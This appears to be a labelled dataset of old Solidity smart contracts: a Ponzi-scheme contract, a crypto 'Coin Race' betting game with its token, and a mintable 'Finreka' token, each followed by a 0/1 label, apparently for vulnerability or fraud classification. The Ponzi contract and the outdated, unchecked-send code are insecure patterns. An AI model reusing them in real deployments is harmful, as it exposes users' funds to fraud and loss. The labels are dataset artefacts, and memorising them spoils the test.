returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
1
4,844
pragma solidity ^0.4.11; contract PonziScheme { uint public round; address public lastDepositor; uint public lastDepositorAmount; uint public startingAmount; uint public nextAmount; function PonziScheme(uint _startingAmount) { round = 1; startingAmount = _startingAmount; nextAmount = _startingAmount; } function() payable { if(round == 1) { if(msg.value != startingAmount) { throw; } } else { checkAmount(msg.value); lastDepositor.send(msg.value); } lastDepositorAmount = msg.value; lastDepositor = msg.sender; nextAmount = msg.value * 2; increaseRound(); } function checkAmount(uint amount) private { if(amount != lastDepositorAmount * 2) { throw; } } function increaseRound() private { round = round + 1; } }
0
126
pragma solidity ^0.4.18; contract CoinLib { address public constant btc = address(0xe98e2830be1a7e4156d656a7505e65d08c67660dc618072422e9c78053c261e9); address public constant bch = address(0xc157673705e9a7d6253fb36c51e0b2c9193b9b560fd6d145bd19ecdf6b3a873b); address public constant btg = address(0x4e5f418e667aa2b937135735d3deb218f913284dd429fa56a60a2a8c2d913f6c); address public constant eth = address(0xaaaebeba3810b1e6b70781f14b2d72c1cb89c0b2b320c43bb67ff79f562f5ff4); address public constant etc = address(0x49b019f3320b92b2244c14d064de7e7b09dbc4c649e8650e7aa17e5ce7253294); address public constant ltc = address(0xfdd18b7aa4e2107a72f3310e2403b9bd7ace4a9f01431002607b3b01430ce75d); address public constant doge = address(0x9a3f52b1b31ae58da40209f38379e78c3a0756495a0f585d0b3c84a9e9718f9d); address public constant dash = address(0x279c8d120dfdb1ac051dfcfe9d373ee1d16624187fd2ed07d8817b7f9da2f07b); address public constant xmr = address(0x8f7631e03f6499d6370dbfd69bc9be2ac2a84e20aa74818087413a5c8e085688); address public constant zec = address(0x85118a02446a6ea7372cee71b5fc8420a3f90277281c88f5c237f3edb46419a6); address public constant bcn = address(0x333433c3d35b6491924a29fbd93a9852a3c64d3d5b9229c073a047045d57cbe4); address public constant pivx = address(0xa8b003381bf1e14049ab83186dd79e07408b0884618bc260f4e76ccd730638c7); address public constant ada = address(0x4e1e6d8aa1ff8f43f933718e113229b0ec6b091b699f7a8671bcbd606da36eea); address public constant xem = address(0x5f83a7d8f46444571fbbd0ea2d2613ab294391cb1873401ac6090df731d949e5); address public constant neo = address(0x6dc5790d7c4bfaaa2e4f8e2cd517bacd4a3831f85c0964e56f2743cbb847bc46); address public constant eos = 0x86Fa049857E0209aa7D9e616F7eb3b3B78ECfdb0; address[] internal oldSchool = [btc, ltc, eth, dash]; address[] internal btcForks = [btc, bch, btg]; address[] internal smart = [eth, ada, eos, xem]; address[] internal anons = [dash, xmr, zec, bcn]; function getBtcForkCoins() public view returns (address[]) { return btcForks; } function getOldSchoolCoins() public view returns (address[]) { return oldSchool; } function getPrivacyCoins() public view returns (address[]) { return anons; } function getSmartCoins() public view returns (address[]) { return smart; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract SuperOwners { address public owner1; address public pendingOwner1; address public owner2; address public pendingOwner2; function SuperOwners(address _owner1, address _owner2) internal { require(_owner1 != address(0)); owner1 = _owner1; require(_owner2 != address(0)); owner2 = _owner2; } modifier onlySuperOwner1() { require(msg.sender == owner1); _; } modifier onlySuperOwner2() { require(msg.sender == owner2); _; } modifier onlySuperOwner() { require(isSuperOwner(msg.sender)); _; } function isSuperOwner(address _addr) public view returns (bool) { return _addr == owner1 || _addr == owner2; } function transferOwnership1(address _newOwner1) onlySuperOwner1 public { pendingOwner1 = _newOwner1; } function transferOwnership2(address _newOwner2) onlySuperOwner2 public { pendingOwner2 = _newOwner2; } function claimOwnership1() public { require(msg.sender == pendingOwner1); owner1 = pendingOwner1; pendingOwner1 = address(0); } function claimOwnership2() public { require(msg.sender == pendingOwner2); owner2 = pendingOwner2; pendingOwner2 = address(0); } } contract MultiOwnable is SuperOwners { mapping (address => bool) public ownerMap; address[] public ownerHistory; event OwnerAddedEvent(address indexed _newOwner); event OwnerRemovedEvent(address indexed _oldOwner); function MultiOwnable(address _owner1, address _owner2) SuperOwners(_owner1, _owner2) internal {} modifier onlyOwner() { require(isOwner(msg.sender)); _; } function isOwner(address owner) public view returns (bool) { return isSuperOwner(owner) || ownerMap[owner]; } function ownerHistoryCount() public view returns (uint) { return ownerHistory.length; } function addOwner(address owner) onlySuperOwner public { require(owner != address(0)); require(!ownerMap[owner]); ownerMap[owner] = true; ownerHistory.push(owner); OwnerAddedEvent(owner); } function removeOwner(address owner) onlySuperOwner public { require(ownerMap[owner]); ownerMap[owner] = false; OwnerRemovedEvent(owner); } } contract Pausable is MultiOwnable { bool public paused; modifier ifNotPaused { require(!paused); _; } modifier ifPaused { require(paused); _; } function pause() external onlySuperOwner { paused = true; } function resume() external onlySuperOwner ifPaused { paused = false; } } contract ERC20 { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is ERC20 { using SafeMath for uint; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value > 0); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract CommonToken is StandardToken, MultiOwnable { string public name; string public symbol; uint256 public totalSupply; uint8 public decimals = 18; string public version = 'v0.1'; address public seller; uint256 public saleLimit; uint256 public tokensSold; uint256 public totalSales; bool public locked = true; event SellEvent(address indexed _seller, address indexed _buyer, uint256 _value); event ChangeSellerEvent(address indexed _oldSeller, address indexed _newSeller); event Burn(address indexed _burner, uint256 _value); event Unlock(); function CommonToken( address _owner1, address _owner2, address _seller, string _name, string _symbol, uint256 _totalSupplyNoDecimals, uint256 _saleLimitNoDecimals ) MultiOwnable(_owner1, _owner2) public { require(_seller != address(0)); require(_totalSupplyNoDecimals > 0); require(_saleLimitNoDecimals > 0); seller = _seller; name = _name; symbol = _symbol; totalSupply = _totalSupplyNoDecimals * 1e18; saleLimit = _saleLimitNoDecimals * 1e18; balances[seller] = totalSupply; Transfer(0x0, seller, totalSupply); } modifier ifUnlocked(address _from, address _to) { require(!locked || isOwner(_from) || isOwner(_to)); _; } function unlock() onlySuperOwner public { require(locked); locked = false; Unlock(); } function changeSeller(address newSeller) onlySuperOwner public returns (bool) { require(newSeller != address(0)); require(seller != newSeller); address oldSeller = seller; uint256 unsoldTokens = balances[oldSeller]; balances[oldSeller] = 0; balances[newSeller] = balances[newSeller].add(unsoldTokens); Transfer(oldSeller, newSeller, unsoldTokens); seller = newSeller; ChangeSellerEvent(oldSeller, newSeller); return true; } function sellNoDecimals(address _to, uint256 _value) public returns (bool) { return sell(_to, _value * 1e18); } function sell(address _to, uint256 _value) onlyOwner public returns (bool) { require(tokensSold.add(_value) <= saleLimit); require(_to != address(0)); require(_value > 0); require(_value <= balances[seller]); balances[seller] = balances[seller].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(seller, _to, _value); totalSales++; tokensSold = tokensSold.add(_value); SellEvent(seller, _to, _value); return true; } function transfer(address _to, uint256 _value) ifUnlocked(msg.sender, _to) public returns (bool) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) ifUnlocked(_from, _to) public returns (bool) { return super.transferFrom(_from, _to, _value); } function burn(uint256 _value) public returns (bool) { require(_value > 0); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value) ; totalSupply = totalSupply.sub(_value); Transfer(msg.sender, 0x0, _value); Burn(msg.sender, _value); return true; } } contract RaceToken is CommonToken { function RaceToken() CommonToken( 0x229B9Ef80D25A7e7648b17e2c598805d042f9e56, 0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7, 0x2821e1486D604566842FF27F626aF133FddD5f89, 'Coin Race', 'RACE', 100 * 1e6, 70 * 1e6 ) public {} } library RaceCalc { using SafeMath for uint; function calcStake( uint _currentTime, uint _finishTime ) public pure returns (uint) { require(_currentTime > 0); require(_currentTime < _finishTime); return _finishTime.sub(_currentTime); } function calcGainE8( uint _startRateToUsdE8, uint _finishRateToUsdE8 ) public pure returns (int) { require(_startRateToUsdE8 > 0); require(_finishRateToUsdE8 > 0); int diff = int(_finishRateToUsdE8) - int(_startRateToUsdE8); return (diff * 1e8) / int(_startRateToUsdE8); } function calcPrizeTokensE18( uint totalTokens, uint winningStake, uint driverStake ) public pure returns (uint) { if (totalTokens == 0) return 0; if (winningStake == 0) return 0; if (driverStake == 0) return 0; if (winningStake == driverStake) return totalTokens; require(winningStake > driverStake); uint share = driverStake.mul(1e8).div(winningStake); return totalTokens.mul(share).div(1e8); } } contract CommonWallet is MultiOwnable { RaceToken public token; event ChangeTokenEvent(address indexed _oldAddress, address indexed _newAddress); function CommonWallet(address _owner1, address _owner2) MultiOwnable(_owner1, _owner2) public {} function setToken(address _token) public onlySuperOwner { require(_token != 0); require(_token != address(token)); ChangeTokenEvent(token, _token); token = RaceToken(_token); } function transfer(address _to, uint256 _value) onlyOwner public returns (bool) { return token.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool) { return token.transferFrom(_from, _to, _value); } function approve(address _spender, uint256 _value) onlyOwner public returns (bool) { return token.approve(_spender, _value); } function burn(uint256 _value) onlySuperOwner public returns (bool) { return token.burn(_value); } function balance() public view returns (uint256) { return token.balanceOf(this); } function balanceOf(address _owner) public view returns (uint256) { return token.balanceOf(_owner); } function allowance(address _owner, address _spender) public view returns (uint256) { return token.allowance(_owner, _spender); } } contract GameWallet is CommonWallet { function GameWallet() CommonWallet( 0x229B9Ef80D25A7e7648b17e2c598805d042f9e56, 0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7 ) public {} } library RaceLib { using SafeMath for uint; function makeBet( Race storage _race, address _driver, address _car, uint _tokensE18 ) public { require(!isFinished(_race)); var bet = Bet({ driver: _driver, car: _car, tokens: _tokensE18, time: now }); _race.betsByDriver[_driver].push(bet); _race.betsByCar[_car].push(bet); if (_race.tokensByCarAndDriver[_car][_driver] == 0) { _race.driverCountByCar[_car] = _race.driverCountByCar[_car] + 1; } _race.tokensByCar[_car] = _race.tokensByCar[_car].add(_tokensE18); _race.tokensByCarAndDriver[_car][_driver] = _race.tokensByCarAndDriver[_car][_driver].add(_tokensE18); uint stakeTime = bet.time; if (bet.time < _race.leftGraceTime && _race.leftGraceTime > 0) stakeTime = _race.leftGraceTime; if (bet.time > _race.rightGraceTime && _race.rightGraceTime > 0) stakeTime = _race.rightGraceTime; uint stake = RaceCalc.calcStake(stakeTime, _race.finishTime); _race.stakeByCar[_car] = _race.stakeByCar[_car].add(stake); _race.stakeByCarAndDriver[_car][_driver] = _race.stakeByCarAndDriver[_car][_driver].add(stake); _race.totalTokens = _race.totalTokens.add(_tokensE18); } function hasDriverJoined( Race storage _race, address _driver ) public view returns (bool) { return betCountByDriver(_race, _driver) > 0; } function betCountByDriver( Race storage _race, address _driver ) public view returns (uint) { return _race.betsByDriver[_driver].length; } function betCountByCar( Race storage _race, address _car ) public view returns (uint) { return _race.betsByCar[_car].length; } function startCar( Race storage _race, address _car, uint _rateToUsdE8 ) public { require(_rateToUsdE8 > 0); require(_race.carRates[_car].startRateToUsdE8 == 0); _race.carRates[_car].startRateToUsdE8 = _rateToUsdE8; } function finish( Race storage _race ) public { require(!_race.finished); require(now >= _race.finishTime); _race.finished = true; } function isFinished( Race storage _race ) public view returns (bool) { return _race.finished; } struct Race { uint id; uint leftGraceTime; uint rightGraceTime; uint startTime; uint finishTime; bool finished; uint finishedCarCount; address firstCar; uint totalTokens; uint driverCount; mapping (uint => address) drivers; mapping (address => uint) driverCountByCar; mapping (address => Bet[]) betsByDriver; mapping (address => Bet[]) betsByCar; mapping (address => uint) tokensByCar; mapping (address => mapping (address => uint)) tokensByCarAndDriver; mapping (address => uint) stakeByCar; mapping (address => mapping (address => uint)) stakeByCarAndDriver; mapping (address => CarRates) carRates; mapping (address => int) gainByCar; mapping (address => bool) isFinishedCar; mapping (address => uint) tokensClaimedByDriver; } struct Bet { address driver; address car; uint tokens; uint time; } struct CarRates { uint startRateToUsdE8; uint finishRateToUsdE8; } } contract CommonRace is MultiOwnable { using SafeMath for uint; using RaceLib for RaceLib.Race; GameWallet public wallet; string public name; address[] public cars; mapping (address => bool) public isKnownCar; RaceLib.Race[] public races; address[] public drivers; mapping (address => bool) public isKnownDriver; modifier ifWalletDefined() { require(address(wallet) != address(0)); _; } function CommonRace( address _owner1, address _owner2, address[] _cars, string _name ) MultiOwnable(_owner1, _owner2) public { require(_cars.length > 0); name = _name; cars = _cars; for (uint16 i = 0; i < _cars.length; i++) { isKnownCar[_cars[i]] = true; } } function getNow() public view returns (uint) { return now; } function raceCount() public view returns (uint) { return races.length; } function carCount() public view returns (uint) { return cars.length; } function driverCount() public view returns (uint) { return drivers.length; } function setWallet(address _newWallet) onlySuperOwner public { require(wallet != _newWallet); require(_newWallet != 0); GameWallet newWallet = GameWallet(_newWallet); wallet = newWallet; } function lastLapId() public view returns (uint) { require(races.length > 0); return races.length - 1; } function nextLapId() public view returns (uint) { return races.length; } function getRace(uint _lapId) internal view returns (RaceLib.Race storage race) { race = races[_lapId]; require(race.startTime > 0); } function startNewRace( uint _newLapId, uint[] _carsAndRates, uint _durationSecs, uint _leftGraceSecs, uint _rightGraceSecs ) onlyOwner public { require(_newLapId == nextLapId()); require(_carsAndRates.length == (cars.length * 2)); require(_durationSecs > 0); if (_leftGraceSecs > 0) require(_leftGraceSecs <= _durationSecs); if (_rightGraceSecs > 0) require(_rightGraceSecs <= _durationSecs); uint finishTime = now.add(_durationSecs); races.push(RaceLib.Race({ id: _newLapId, leftGraceTime: now + _leftGraceSecs, rightGraceTime: finishTime - _rightGraceSecs, startTime: now, finishTime: finishTime, finished: false, finishedCarCount: 0, firstCar: 0, totalTokens: 0, driverCount: 0 })); RaceLib.Race storage race = races[_newLapId]; uint8 j = 0; for (uint8 i = 0; i < _carsAndRates.length; i += 2) { address car = address(_carsAndRates[j++]); uint startRateToUsdE8 = _carsAndRates[j++]; require(isKnownCar[car]); race.startCar(car, startRateToUsdE8); } } function finishRace( uint _lapId, uint[] _carsAndRates ) onlyOwner public { require(_carsAndRates.length == (cars.length * 2)); RaceLib.Race storage race = getRace(_lapId); race.finish(); int maxGain = 0; address firstCar; uint8 j = 0; for (uint8 i = 0; i < _carsAndRates.length; i += 2) { address car = address(_carsAndRates[j++]); uint finishRateToUsdE8 = _carsAndRates[j++]; require(!isCarFinished(_lapId, car)); RaceLib.CarRates storage rates = race.carRates[car]; rates.finishRateToUsdE8 = finishRateToUsdE8; race.isFinishedCar[car] = true; race.finishedCarCount++; int gain = RaceCalc.calcGainE8(rates.startRateToUsdE8, finishRateToUsdE8); race.gainByCar[car] = gain; if (i == 0 || gain > maxGain) { maxGain = gain; firstCar = car; } } require(firstCar != 0); race.firstCar = firstCar; } function finishRaceThenStartNext( uint _lapId, uint[] _carsAndRates, uint _durationSecs, uint _leftGraceSecs, uint _rightGraceSecs ) onlyOwner public { finishRace(_lapId, _carsAndRates); startNewRace(_lapId + 1, _carsAndRates, _durationSecs, _leftGraceSecs, _rightGraceSecs); } function isLastRaceFinsihed() public view returns (bool) { return isLapFinished(lastLapId()); } function isLapFinished( uint _lapId ) public view returns (bool) { return getRace(_lapId).isFinished(); } function lapStartTime( uint _lapId ) public view returns (uint) { return getRace(_lapId).startTime; } function lapFinishTime( uint _lapId ) public view returns (uint) { return getRace(_lapId).finishTime; } function isCarFinished( uint _lapId, address _car ) public view returns (bool) { require(isKnownCar[_car]); return getRace(_lapId).isFinishedCar[_car]; } function allCarsFinished( uint _lapId ) public view returns (bool) { return finishedCarCount(_lapId) == cars.length; } function finishedCarCount( uint _lapId ) public view returns (uint) { return getRace(_lapId).finishedCarCount; } function firstCar( uint _lapId ) public view returns (address) { return getRace(_lapId).firstCar; } function isWinningDriver( uint _lapId, address _driver ) public view returns (bool) { RaceLib.Race storage race = getRace(_lapId); return race.tokensByCarAndDriver[race.firstCar][_driver] > 0; } function myUnclaimedTokens( uint _lapId ) public view returns (uint) { return unclaimedTokens(_lapId, msg.sender); } function unclaimedTokens( uint _lapId, address _driver ) public view returns (uint) { RaceLib.Race storage race = getRace(_lapId); if (race.tokensClaimedByDriver[_driver] > 0) return 0; if (!race.isFinished()) return 0; if (race.firstCar == 0) return 0; if (race.totalTokens == 0) return 0; if (race.stakeByCar[race.firstCar] == 0) return 0; uint driverStake = race.stakeByCarAndDriver[race.firstCar][_driver]; if (driverStake == 0) return 0; return RaceCalc.calcPrizeTokensE18( race.totalTokens, race.stakeByCar[race.firstCar], driverStake ); } function claimTokens( uint _lapId ) public ifWalletDefined { address driver = msg.sender; uint tokens = unclaimedTokens(_lapId, driver); require(tokens > 0); require(wallet.transfer(driver, tokens)); getRace(_lapId).tokensClaimedByDriver[driver] = tokens; } function makeBet( uint _lapId, address _car, uint _tokensE18 ) public ifWalletDefined { address driver = msg.sender; require(isKnownCar[_car]); require(wallet.transferFrom(msg.sender, wallet, _tokensE18)); getRace(_lapId).makeBet(driver, _car, _tokensE18); if (!isKnownDriver[driver]) { isKnownDriver[driver] = true; drivers.push(driver); } } function myBetsInLap( uint _lapId ) public view returns (uint[] memory totals) { RaceLib.Race storage race = getRace(_lapId); totals = new uint[](cars.length * 2); uint8 j = 0; address car; for (uint8 i = 0; i < cars.length; i++) { car = cars[i]; totals[j++] = uint(car); totals[j++] = race.tokensByCarAndDriver[car][msg.sender]; } } function lapTotals( uint _lapId ) public view returns (int[] memory totals) { RaceLib.Race storage race = getRace(_lapId); totals = new int[](5 + cars.length * 7); uint _myUnclaimedTokens = 0; if (isLapFinished(_lapId)) { _myUnclaimedTokens = unclaimedTokens(_lapId, msg.sender); } address car; uint8 j = 0; totals[j++] = int(now); totals[j++] = int(race.startTime); totals[j++] = int(race.finishTime - race.startTime); totals[j++] = int(race.firstCar); totals[j++] = int(_myUnclaimedTokens); for (uint8 i = 0; i < cars.length; i++) { car = cars[i]; totals[j++] = int(car); totals[j++] = int(race.carRates[car].startRateToUsdE8); totals[j++] = int(race.carRates[car].finishRateToUsdE8); totals[j++] = int(race.driverCountByCar[car]); totals[j++] = int(race.tokensByCar[car]); totals[j++] = int(race.tokensByCarAndDriver[car][msg.sender]); totals[j++] = race.gainByCar[car]; } } } contract RaceOldSchool4h is CommonRace, CoinLib { function RaceOldSchool4h() CommonRace( 0x229B9Ef80D25A7e7648b17e2c598805d042f9e56, 0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7, oldSchool, 'Old School' ) public {} } contract RaceBtcForks4h is CommonRace, CoinLib { function RaceBtcForks4h() CommonRace( 0x229B9Ef80D25A7e7648b17e2c598805d042f9e56, 0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7, btcForks, 'Bitcoin Forks' ) public {} } contract RaceSmart4h is CommonRace, CoinLib { function RaceSmart4h() CommonRace( 0x229B9Ef80D25A7e7648b17e2c598805d042f9e56, 0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7, smart, 'Smart Coins' ) public {} } contract RaceAnons4h is CommonRace, CoinLib { function RaceAnons4h() CommonRace( 0x229B9Ef80D25A7e7648b17e2c598805d042f9e56, 0xcd7cF1D613D5974876AfBfd612ED6AFd94093ce7, anons, 'Anonymouses' ) public {} }
1
3,876
pragma solidity ^0.4.23; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; function totalSupply() public view returns (uint256) { return totalSupply_; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } contract FreezableToken is StandardToken { mapping (bytes32 => uint64) internal chains; mapping (bytes32 => uint) internal freezings; mapping (address => uint) internal freezingBalance; event Freezed(address indexed to, uint64 release, uint amount); event Released(address indexed owner, uint amount); function balanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner) + freezingBalance[_owner]; } function actualBalanceOf(address _owner) public view returns (uint256 balance) { return super.balanceOf(_owner); } function freezingBalanceOf(address _owner) public view returns (uint256 balance) { return freezingBalance[_owner]; } function freezingCount(address _addr) public view returns (uint count) { uint64 release = chains[toKey(_addr, 0)]; while (release != 0) { count++; release = chains[toKey(_addr, release)]; } } function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { for (uint i = 0; i < _index + 1; i++) { _release = chains[toKey(_addr, _release)]; if (_release == 0) { return; } } _balance = freezings[toKey(_addr, _release)]; } function freezeTo(address _to, uint _amount, uint64 _until) public { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Transfer(msg.sender, _to, _amount); emit Freezed(_to, _until, _amount); } function releaseOnce() public { bytes32 headKey = toKey(msg.sender, 0); uint64 head = chains[headKey]; require(head != 0); require(uint64(block.timestamp) > head); bytes32 currentKey = toKey(msg.sender, head); uint64 next = chains[currentKey]; uint amount = freezings[currentKey]; delete freezings[currentKey]; balances[msg.sender] = balances[msg.sender].add(amount); freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); if (next == 0) { delete chains[headKey]; } else { chains[headKey] = next; delete chains[currentKey]; } emit Released(msg.sender, amount); } function releaseAll() public returns (uint tokens) { uint release; uint balance; (release, balance) = getFreezing(msg.sender, 0); while (release != 0 && block.timestamp > release) { releaseOnce(); tokens += balance; (release, balance) = getFreezing(msg.sender, 0); } } function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { result = 0x5749534800000000000000000000000000000000000000000000000000000000; assembly { result := or(result, mul(_addr, 0x10000000000000000)) result := or(result, _release) } } function freeze(address _to, uint64 _until) internal { require(_until > block.timestamp); bytes32 key = toKey(_to, _until); bytes32 parentKey = toKey(_to, uint64(0)); uint64 next = chains[parentKey]; if (next == 0) { chains[parentKey] = _until; return; } bytes32 nextKey = toKey(_to, next); uint parent; while (next != 0 && _until > next) { parent = next; parentKey = nextKey; next = chains[nextKey]; nextKey = toKey(_to, next); } if (_until == next) { return; } if (next != 0) { chains[key] = next; } chains[parentKey] = _until; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract FreezableMintableToken is FreezableToken, MintableToken { function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) { totalSupply_ = totalSupply_.add(_amount); bytes32 currentKey = toKey(_to, _until); freezings[currentKey] = freezings[currentKey].add(_amount); freezingBalance[_to] = freezingBalance[_to].add(_amount); freeze(_to, _until); emit Mint(_to, _amount); emit Freezed(_to, _until, _amount); emit Transfer(msg.sender, _to, _amount); return true; } } contract Consts { uint public constant TOKEN_DECIMALS = 18; uint8 public constant TOKEN_DECIMALS_UINT8 = 18; uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; string public constant TOKEN_NAME = "Finreka Token"; string public constant TOKEN_SYMBOL = "FINT"; bool public constant PAUSED = false; address public constant TARGET_USER = 0xb46C706Dd026f08c36c4b04ed6c963fFAD130718; bool public constant CONTINUE_MINTING = true; } contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable { event Initialized(); bool public initialized = false; constructor() public { init(); transferOwnership(TARGET_USER); } function name() public pure returns (string _name) { return TOKEN_NAME; } function symbol() public pure returns (string _symbol) { return TOKEN_SYMBOL; } function decimals() public pure returns (uint8 _decimals) { return TOKEN_DECIMALS_UINT8; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool _success) { require(!paused); return super.transfer(_to, _value); } function init() private { require(!initialized); initialized = true; if (PAUSED) { pause(); } address[1] memory addresses = [address(0xc0dedd1e8f1506d0d5cf378ab725ed14395b4604)]; uint[1] memory amounts = [uint(1000000000000000000000000)]; uint64[1] memory freezes = [uint64(0)]; for (uint i = 0; i < addresses.length; i++) { if (freezes[i] == 0) { mint(addresses[i], amounts[i]); } else { mintAndFreeze(addresses[i], amounts[i], freezes[i]); } } if (!CONTINUE_MINTING) { finishMinting(); } emit Initialized(); } }
1
2,935
